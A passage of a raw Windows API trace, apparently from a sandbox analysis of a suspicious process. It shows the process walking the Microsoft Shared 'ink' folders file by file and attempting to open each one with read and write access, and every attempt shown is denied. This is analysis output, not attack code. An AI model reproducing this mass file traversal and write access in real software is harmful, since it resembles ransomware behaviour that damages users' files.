ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0168.750] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.750] GetProcessHeap () returned 0x2ef0000 [0168.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.750] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0168.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.751] GetLastError () returned 0x5 [0168.751] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0168.751] GetProcessHeap () returned 0x2ef0000 [0168.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa2) returned 0x2f170e8 [0168.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.751] GetProcessHeap () returned 0x2ef0000 [0168.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.751] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.751] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0168.751] GetProcessHeap () returned 0x2ef0000 [0168.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a4) returned 0x2f426d8 [0168.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.753] GetLastError () returned 0x5 [0168.753] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0168.753] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.753] GetProcessHeap () returned 0x2ef0000 [0168.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.753] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0168.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.753] GetLastError () returned 0x5 [0168.753] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0168.753] GetProcessHeap () returned 0x2ef0000 [0168.753] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa2) returned 0x2f170e8 [0168.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.754] GetProcessHeap () returned 0x2ef0000 [0168.754] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.754] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.754] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0168.754] GetProcessHeap () returned 0x2ef0000 [0168.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a4) returned 0x2f426d8 [0168.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.754] GetLastError () returned 0x5 [0168.754] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0168.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.755] GetLastError () returned 0x5 [0168.755] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0168.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.755] GetLastError () returned 0x5 [0168.755] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0168.755] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.756] GetProcessHeap () returned 0x2ef0000 [0168.756] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.756] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0168.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.757] GetLastError () returned 0x5 [0168.757] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0168.757] GetProcessHeap () returned 0x2ef0000 [0168.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x9a) returned 0x2f170e8 [0168.757] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.758] GetProcessHeap () returned 0x2ef0000 [0168.758] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.758] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.758] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0168.758] GetProcessHeap () returned 0x2ef0000 [0168.758] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x29c) returned 0x2f426d8 [0168.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.759] GetLastError () returned 0x5 [0168.759] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0168.759] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.759] GetProcessHeap () returned 0x2ef0000 [0168.759] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.759] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0168.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.760] GetLastError () returned 0x5 [0168.760] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0168.760] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.760] GetProcessHeap () returned 0x2ef0000 [0168.760] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.760] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-IL", cAlternateFileName="")) returned 1 [0168.760] GetProcessHeap () returned 0x2ef0000 [0168.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.761] GetProcessHeap () returned 0x2ef0000 [0168.761] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.761] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.761] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.761] GetProcessHeap () returned 0x2ef0000 [0168.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.761] GetLastError () returned 0x5 [0168.761] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.761] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.761] GetProcessHeap () returned 0x2ef0000 [0168.761] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.761] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0168.761] GetProcessHeap () returned 0x2ef0000 [0168.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.762] GetProcessHeap () returned 0x2ef0000 [0168.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.762] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.762] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.762] GetProcessHeap () returned 0x2ef0000 [0168.762] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), 